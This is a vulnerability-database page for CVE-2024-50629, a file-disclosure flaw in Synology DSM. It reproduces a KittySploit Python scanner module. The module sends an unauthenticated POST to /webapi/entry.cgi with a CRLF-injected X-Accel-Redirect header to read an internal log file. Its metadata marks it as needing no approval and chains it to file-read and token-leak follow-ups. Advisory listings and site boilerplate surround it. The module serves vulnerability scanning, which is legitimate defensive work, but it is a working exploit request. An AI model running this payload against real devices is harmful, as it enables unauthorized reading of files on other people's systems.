Synology DSM - File Disclosure via RedirectURI (CVE-2024-50629)
| Reporter | Title | Published | Views | Family All 20 |
|---|---|---|---|---|
| The vulnerability of the webapi component in the operating systems Synology BeeStation Manager (BSM), Synology DiskStation Manager (DSM), and Synology BeeStation OS allows a malicious individual to gain unauthorized access to protected information. | 7 Apr 202500:00 | – | bdu_fstec | |
| CVE-2024-50629 | 19 Mar 202506:52 | – | circl | |
| Synology DiskStation Manager(DSM)和Synology BeeStation Manager 安全漏洞 | 19 Mar 202500:00 | – | cnnvd | |
| CVE-2024-50629 | 19 Mar 202505:49 | – | cve | |
| CVE-2024-50629 | 19 Mar 202505:49 | – | cvelist | |
| EUVD-2024-54102 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-50629_50631 | 13 Oct 202612:36 | – | kitploit | |
| Synology DSM/BSM - File Disclosure via RedirectURI (CVE-2024-50629) | 10 Aug 202606:19 | – | kittysploit | |
| Synology BeeStation (BSM) - File Disclosure (CVE-2024-50629 / SA-24:23) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2024-50629 | 19 Mar 202506:15 | – | nvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Synology DSM file disclosure via X-Accel-Redirect CRLF injection (Synology-SA-24:20)."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Synology DSM - File Disclosure via RedirectURI (CVE-2024-50629)',
'description': (
'Synology DSM webapi SYNO.API.Auth.RedirectURI allows unauthenticated file disclosure '
'via CRLF injection of an X-Accel-Redirect header (Synology-SA-24:20).'
),
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2024', 'synology', 'dsm', 'lfi', 'exposure', 'unauth', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [{'capability': 'risk_signal', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/admin/http/synology_cve_2024_50629_file_read', 'auxiliary/admin/http/synology_cve_2024_50630_token_leak'],
},
},
'references': [
'https://www.synology.com/en-global/security/advisory/Synology_SA_24_20',
'https://www.zerodayinitiative.com/advisories/ZDI-25-211/',
'https://nvd.nist.gov/vuln/detail/CVE-2024-50629',
],
'cve': 'CVE-2024-50629',
}
def run(self):
path = '/webapi/entry.cgi'
data = (
'api=SYNO.API.Auth.RedirectURI&version=1&method=run&session=finder&redirect_url='
'https://dsfinder.synology.com/dsm/login?\r\n'
'X-Accel-Redirect:/volume1/@synologydrive/log/cloud-workerd.log'
)
r = self.http_request(
method='POST',
path=path,
data=data,
headers={'Content-Type': 'application/x-www-form-urlencoded'},
allow_redirects=False,
)
if not r or r.status_code != 200:
return False
body = r.text or ''
log_marker = re.search(
r'^[0-9A-Z:-]+ \([0-9]+:[0-9]+\) \[INFO\].+\.(o|cpp)',
body,
re.MULTILINE,
)
if (
'checkpoint-task.cpp.o' in body
or 'job-queue-client.cpp.o' in body
or log_marker
):
self.set_info(
severity='medium',
reason='Synology DSM CVE-2024-50629 file disclosure (cloud-workerd.log)',
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Aug 2026 06:19Current
6.2Medium risk
Vulners AI Score6.2
CVSS 3.15.3
EPSS0.31715
SSVC